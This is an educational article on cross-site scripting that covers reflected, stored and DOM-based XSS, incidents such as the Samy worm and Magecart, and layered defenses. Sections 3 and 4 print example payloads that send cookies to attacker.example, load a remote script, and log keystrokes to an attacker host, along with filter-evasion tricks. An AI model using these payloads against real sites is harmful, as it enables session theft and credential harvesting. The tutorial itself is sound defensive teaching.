XSS Explained: How Cross-Site Scripting Works and How to Defend Against It thumbnail

XSS Explained: How Cross-Site Scripting Works and How to Defend Against It

⏱ approx. 29 min views 355 likes 0 LOG_DATE:2026-05-17
TOC

Cross-Site Scripting (XSS) #

Cross-Site Scripting (XSS) is a vulnerability that lets an attacker inject a malicious script into a web application so that another user's browser ends up running it. The essence of the attack is that the attacker's code is executed in a context (origin) that the site itself is supposed to trust. The browser grants any same-origin script all of that origin's privileges, so the moment XSS succeeds, the attacker has access to the victim's session, cookies, DOM, and any API the victim can reach via XHR or fetch.

It's a classic vulnerability that has been known since the late 1990s, yet single-page apps, server-side rendering, WebViews, and third-party scripts keep producing new variants in the 2020s. XSS remains the headline injection vulnerability on the OWASP Top 10.

1. What Is XSS? #

1.1 The Browser's Trust Boundary (Same-Origin Policy) #

The foundation of the browser's security model is the Same-Origin Policy (SOP). SOP says that scripts from the same origin (scheme + host + port) can freely read and write each other, but scripts from different origins cannot interact. A script on https://example.com cannot read the DOM of https://evil.example or access its cookies.

That boundary is your site's trust boundary. What makes XSS so devastating is that the attacker's code runs inside the victim site's origin. The attack doesn't pound on the boundary from outside; it walks in and operates with the same privileges as the legitimate code, so SOP provides no protection at all.

1.2 Why It's Called "Cross-Site" #

In the earliest attack scenarios, the attacker would lure the victim to "another site (cross-site)" and use something planted there to trigger execution against the target site — say, embedding <script src="https://victim.example/..."> on the attacker's forum. Today most XSS injects into the target site directly, so the name no longer fits the reality, but the term has stuck. Don't confuse it with CSRF (Cross-Site Request Forgery): XSS is about script execution, CSRF is about request forging — they are completely different.

1.3 Position on the OWASP Top 10 #

For years XSS has been the flagship sub-category under OWASP's A03:2021 Injection (and was an independent item, A07, up to the 2017 edition). Alongside SQL injection it is one of the two giants of the injection family. People sometimes call XSS "a dead vulnerability" now that frameworks auto-escape by default, but DOM XSS, mXSS, and third-party JS supply chain attacks (Magecart) have kept it firmly at the top of incident reports.

The Essence of XSS: Running Attacker Code Inside the SOP Boundary, Neutralizing the Protection

2. The Three Types of XSS #

XSS is classified into three types based on how the payload reaches the victim's browser. Each has different detection methods and slightly different defense priorities.

XSS Classification: Where the Payload Comes From and How It Reaches the Victim's Browser

2.1 Reflected XSS #

A malicious string in the URL query string or POST body is echoed straight back in the server's HTML response and executed in the victim's browser. The attacker has to get the victim to click a malicious URL.

A typical scenario:

  1. Attacker crafts https://victim.example/search?q=<script>...</script>
  2. The victim is lured into clicking via email, social media, or a different site
  3. If the server echoes q verbatim into the HTML, the script runs in the victim's browser

The reach is limited by URL distribution, but combined with phishing it lands easily.

2.2 Stored XSS (Persistent XSS) #

The payload is saved server-side (database, file, cache) and fires every time any victim views the affected page. Typical entry points are bulletin board posts, product reviews, user profiles, comment sections, and messaging features.

The victim only needs to browse the site normally to be hit, which makes this dramatically more dangerous than reflected XSS. As the Samy worm (described later) showed, a single stored XSS can cascade through accounts and create explosive viral spread.

2.3 DOM-Based XSS #

The server's response HTML is completely clean, but client-side JavaScript triggers the vulnerability while manipulating the DOM. Since the server is never involved with the payload, server-side WAFs and template engine escaping cannot prevent it.

It happens when an unsafe "source" reaches a dangerous "sink". Common sources: location.hash, location.search, document.referrer, postMessage, localStorage. Common sinks: innerHTML, outerHTML, document.write, eval, setTimeout(string), Function(), and jQuery's $() when given HTML.

Example:

// Bad: drop location.hash straight into the DOM
document.getElementById('view').innerHTML = location.hash.substring(1);

Visiting https://victim.example/page#<img src=x onerror=alert(1)> is enough to trigger XSS. SPA frameworks like React and Vue open the same hole when you use dangerouslySetInnerHTML or v-html.

2.4 A Note on Self-XSS and Blind XSS #

  • Self-XSS: A user is socially engineered into pasting attack code into their own browser console. It's not a vulnerability; it's a social engineering trick. Facebook and others show explicit warnings in DevTools.
  • Blind XSS: A stored XSS whose payload only fires somewhere the attacker can't directly see — for example, only in an admin's view of a contact form. Use external callback services like XSS Hunter to collect signals.

3. How the Attack Works (Concrete Examples) #

3.1 Minimal Reflected XSS #

Vulnerable PHP:

<?php
// search.php
$q = $_GET['q'] ?? '';
echo "<h1>Results for: $q</h1>";  // ★ embedded without escaping
?>

Attack URL:

https://victim.example/search.php?q=<script>fetch('https://attacker.example/?c='+document.cookie)</script>

When the victim clicks the link, document.cookie (including the session cookie) is shipped off to the attacker.

3.2 Minimal Stored XSS #

A forum app that prints comments without escaping:

// post-view.php (vulnerable)
echo "<div class='comment'>" . $row['body'] . "</div>";

The attacker posts:

<img src=x onerror="
  var s = document.createElement('script');
  s.src = 'https://attacker.example/payload.js';
  document.body.appendChild(s);
">

After that, every user who opens this thread loads and runs the attacker's payload.js. The victims never click anything.

3.3 Minimal DOM-Based XSS #

<!-- victim.example/profile.html -->
<div id="welcome"></div>
<script>
  const name = new URLSearchParams(location.search).get('name');
  document.getElementById('welcome').innerHTML = 'Welcome ' + name;
</script>

URL:

https://victim.example/profile.html?name=<img src=x onerror=alert(document.domain)>

The server's response HTML contains no payload at all (the query string is only in ?name=), so server-side WAFs and template escaping cannot detect it. The script fires the moment the client-side code reaches innerHTML.

3.4 Payload Construction Techniques #

In real environments <script> and on* attributes are often filtered. Attackers work around the filter with tricks like:

  • Mixed-case tags: <ScRiPt> (defeats old WAF regexes)
  • Attribute vectors: <img src=x onerror=...>, <svg onload=...>, <a href="javascript:..." >
  • Diverse event handlers: onclick, onmouseover, onfocus, onerror, onload, onanimationend
  • Encoding: HTML entities (&#x6A; = j), URL encoding, Unicode escapes (\u0061)
  • JavaScript URLs: <a href="javascript:alert(1)">
  • CSS injection: <style> with expression() (old IE), attribute selectors leaking values

PortSwigger's XSS Cheat Sheet and the OWASP Filter Evasion Cheat Sheet collect hundreds of these variants.

4. What XSS Actually Lets You Do #

So many demos stop at alert(1) that some developers underestimate XSS. Real attacks do the following.

4.1 Session Hijacking (Cookie Theft) #

The classic and still most powerful payload. Send document.cookie to your server and you can hijack the victim's session ID directly. Cookies without the HttpOnly flag are vulnerable — modern frameworks default to HttpOnly, but custom implementations and legacy systems frequently miss it.

4.2 Fake Login Forms / Credential Harvesting #

Drop a fake login form into the page via innerHTML, capture the entered credentials, and POST them to the attacker. The URL bar still shows the legitimate domain, so the victim never notices. It's a far more effective phishing technique than a fake clone site.

4.3 Keylogging #

document.addEventListener('keydown', e => fetch('https://attacker/?k='+e.key)) — a few lines exfiltrate every keystroke on the page in real time. Credit card pages, internal admin tools, email bodies — every keystroke is captured. This is the heart of Magecart-style attacks discussed later.

4.4 Abusing Internal APIs (XSS + CSRF) #

The victim's browser is carrying valid session cookies, so the attack script can fetch() any API on the victim's origin. CSRF tokens? The XSS script can read the token straight out of the page DOM, so every CSRF defense is trivially bypassed. Money transfers, password changes, email-address changes — anything the victim can do, the attacker can now do as them.

4.5 In-Browser Botnets (BeEF) #

The Browser Exploitation Framework (BeEF) is an open-source tool that uses XSS to "hook" the victim's browser into a management console, where the attacker can issue commands in real time. From there: internal network scans, attacks on internal-only services, exploits against old Java/Flash to escalate to the OS, theft of Slack / Office 365 sessions… It's a standard demo in pentest engagements.

4.6 Worms (Samy-Style) #

A stored XSS can mutate into a self-propagating worm. If the payload itself contains "write this same payload onto the profile of anyone who views my profile," infection grows exponentially. The 2005 Samy worm (next section) followed exactly this pattern and brought down MySpace in 20 hours.

5. Famous XSS Incidents #

5.1 The Samy Worm (MySpace, 2005) #

The historical landmark of XSS worms. Then-19-year-old Samy Kamkar exploited a stored XSS in MySpace's profile feature, releasing a worm whose payload made every viewer of his profile (a) friend Samy and (b) copy the same payload onto their own profile. More than one million accounts were infected in under 20 hours, forcing MySpace to take the site down.

Technically, the worm chained CSS background:url() for JavaScript execution, recursive DOM rewriting via innerHTML, and a bypass that split java\nscript: with a newline to evade filters — several novel tricks combined into one payload. Samy was charged under US computer misuse laws and received probation, community service, and a computer-use restriction. The incident put XSS's destructive potential firmly on the industry's radar.

5.2 TweetDeck (2014) #

A stored XSS was found in TweetDeck (Twitter's official client), and weaponized tweets spread rapidly. A tweet containing the payload would auto-retweet from every viewing account, replaying the Samy pattern at Twitter scale. Twitter took the service offline within hours and shipped a fix.

5.3 British Airways / Ticketmaster (Magecart, 2018) #

People think of XSS as "code I write on my own site," but a modern web page loads dozens of third-party scripts. The Magecart group compromised the servers of third-party providers (tag managers, chat widgets, payment helpers) and injected card-skimming code into the JavaScript they served.

  • British Airways: 380,000 card records leaked. Originally fined £183M (about ¥25B) under GDPR, later reduced to £20M.
  • Ticketmaster: 40,000+ records leaked via a compromised chat widget.
  • Newegg: Cards were skimmed for an entire month before detection.

Your server-side code may have no XSS at all — but the moment you trust <script src="https://cdn.thirdparty.example/widget.js">, a breach at that CDN is functionally identical to having XSS on your own site. This is one of the major battlegrounds of modern XSS.

5.4 The Lesson #

The common thread across these incidents: "My framework auto-escapes" and "My own code is fine" are not enough. Classic string-concatenation XSS has shrunk, but DOM operations, third-party JavaScript, WebViews, and postMessage have only widened the attack surface.

6. Defenses (Defense in Depth) #

XSS defense doesn't fit into a single control. The standard is layering input validation, output encoding, CSP, cookie attributes, sanitizers, and Trusted Types so that when one layer fails, the next limits the damage.

Layered Defense Is the Foundation of XSS Protection

6.1 Output Encoding (Context-Aware) #

The most important defense. When putting user input into HTML, encode it appropriately for the context where it lands.

Context What to escape
HTML body &, <, >, ", ' to character references
HTML attribute (quoted) The above, plus the attribute's quote character
HTML attribute (unquoted) Also spaces, tabs, newlines, =, ...
JavaScript string literal \, ', ", newlines, </, Unicode controls
URL context (href/src) Block javascript: scheme, URL-encode
CSS context Block expression(), backslash-escape

In practice this means PHP's htmlspecialchars($s, ENT_QUOTES | ENT_HTML5, 'UTF-8'), Blade's automatic {{ $s }}, Twig's automatic {{ s }}, React's automatic JSX, and so on. The trick is to avoid mixing contexts — embedding JS inside HTML requires both HTML escaping and JS escaping.

6.2 Content Security Policy (CSP) #

A response header that tells the browser which script sources to trust. Even if XSS slips through, CSP can stop the script from running — the last line of defense.

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example; object-src 'none'; base-uri 'self'; frame-ancestors 'none'

Key directives:

  • script-src 'self' — Only same-origin scripts.
  • Never include 'unsafe-inline' — it nullifies CSP as an XSS defense.
  • Use nonce-based (script-src 'nonce-r4nd0m') or hash-based ('sha256-...') allowlisting for the inline scripts you really need.
  • object-src 'none' — Blocks Flash/PDF-based exploits.
  • base-uri 'self' — Prevents <base>-tag URL rewriting.
  • report-uri / report-to — Send violation reports to your server for detection.

The standard rollout pattern is to start with Content-Security-Policy-Report-Only, fix the existing violations, and then promote to the enforcing header.

6.3 HttpOnly / SameSite Cookies #

Setting the HttpOnly attribute on a session cookie makes it unreadable from JavaScript, neutralizing the cookie-theft branch of XSS. The SameSite attribute (Strict / Lax) doubles as CSRF protection by restricting when cookies are sent from third-party contexts.

Set-Cookie: session_id=abc; HttpOnly; Secure; SameSite=Lax; Path=/

6.4 Input Validation (Supporting Role) #

Validate the allowed character set, length, and shape at input time. As a standalone XSS defense it's insufficient (it doesn't protect missed output encoding), but it does add a useful layer. Blacklists get bypassed — always go with whitelists.

6.5 Framework Auto-Escaping #

Almost every modern template engine escapes by default:

  • React: JSX {value} is auto-escaped. dangerouslySetInnerHTML is the only opt-out.
  • Vue: {{ value }} is auto-escaped. v-html is the only opt-out.
  • Angular: {{ value }} is auto-escaped unless you call bypassSecurityTrustHtml().
  • Blade (Laravel): {{ $value }} is auto-escaped. {!! !!} is the only opt-out.
  • Twig: Auto-escaped. |raw is the only opt-out.

So you can grep for "the opt-out form" and review every use. grep -rn 'dangerouslySetInnerHTML\|v-html\|{!!\||raw' is the standard sanity check.

6.6 Trusted Types (DOM XSS Defense) #

A web platform standard, shipped in Chromium browsers, that addresses DOM XSS at its root. It forbids passing plain strings to dangerous sinks like innerHTML, requiring developers to use sanitized objects instead.

Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default

With this enabled, element.innerHTML = userInput; throws a runtime error and developers must route through an explicit TrustedHTML policy. It moves DOM XSS prevention from code review into a mechanical browser-enforced check.

6.7 Sanitizer Libraries (DOMPurify) #

When you actually need to display user-submitted HTML (rich text editors, blog posts), use a battle-tested sanitizer like DOMPurify. Do not write your own regex to strip <script>. The history of XSS is the history of homegrown filters getting bypassed.

import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userHtml);
element.innerHTML = clean;  // safe

7. Testing and Detection #

7.1 Manual Testing #

Throw XSS payloads at every input field, URL parameter, and HTTP header the user can influence (Referer, User-Agent), and inspect the response HTML and the rendered result. Standard payloads:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
'"><script>alert(1)</script>
javascript:alert(1)

DOM XSS can't be confirmed by looking at the response HTML — open DevTools and watch what actually lands in the DOM.

7.2 Automated Scanners #

  • OWASP ZAP — Open-source dynamic scanner. Its active scan exercises XSS payloads exhaustively.
  • Burp Suite — Industry-standard proxy. Burp Pro's Scanner has very high XSS detection accuracy.
  • Acunetix / Netsparker — Commercial scanners that can analyze DOM XSS.

Reflected and stored XSS are well-covered, but full DOM XSS detection still requires static analysis combined with headless-browser execution — complete automation is still hard.

7.3 Source Code Static Analysis (SAST) #

Tools that follow data flow from dangerous sources to dangerous sinks. Semgrep, CodeQL, and SonarQube can detect XSS patterns. They are especially effective at finding every use of framework escape-hatch APIs (dangerouslySetInnerHTML and friends).

7.4 CSP Reports and Runtime Detection #

Enabling Content-Security-Policy-Report-Only in production gets you reports whenever a script violates your policy — that includes XSS payloads that actually fired, which is the closest you can get to detecting real XSS in production.

8. Related Attacks (the XSS Family) #

A quick tour of attacks that often get confused with XSS or are close relatives.

8.1 XS-Leaks (Cross-Site Leaks) #

A class of attacks where another origin extracts side-channel information about the victim's relationship with a target site (Are they logged in? Does this resource exist?). It doesn't execute scripts directly — it uses <img> load timing, frame-busting behavior, window.postMessage response timing, and similar signals.

8.2 mXSS (Mutation XSS) #

An advanced class where HTML that passed a sanitizer gets mutated by the browser at DOM parse time into something that contains a new XSS vector. The trick exploits parser idiosyncrasies around <noscript>, <template>, <math>, <svg>, and friends — even DOMPurify has had CVEs in this category (2019, 2020, 2024).

8.3 XSSI (Cross-Site Script Inclusion) #

The attacker uses the victim's session to load a sensitive JSON/JSONP resource via <script src="..."> from another origin and then observes side effects. If the response contains an attacker-controllable callback or a top-level array literal, information can leak. Made famous by Google's research; modern APIs guard with prefixes like )]}'.

9. Summary #

XSS is not "a 20-year-old vulnerability"; it keeps reshaping itself and remains one of the largest threats to the web in 2026. Framework auto-escaping has crushed plain string-concatenation XSS, but DOM manipulation, third-party JavaScript, WebViews, and postMessage have opened entirely new fronts.

The minimum every developer should internalize:

  1. Make context-aware output encoding the first habit.
  2. Roll out CSP with a nonce-based policy and remove 'unsafe-inline'.
  3. Always set HttpOnly / Secure / SameSite on session cookies.
  4. Audit every use of dangerouslySetInnerHTML / v-html / {!! !!}.
  5. Use DOMPurify for rich text — never your own sanitizer.
  6. Enable Trusted Types in new projects.
  7. Lock down third-party JavaScript origins and pin with SRI (Subresource Integrity).

The moment you decide "my site is safe" is the moment a Magecart-style incident begins. The only realistic posture is to keep defense-in-depth healthy over time.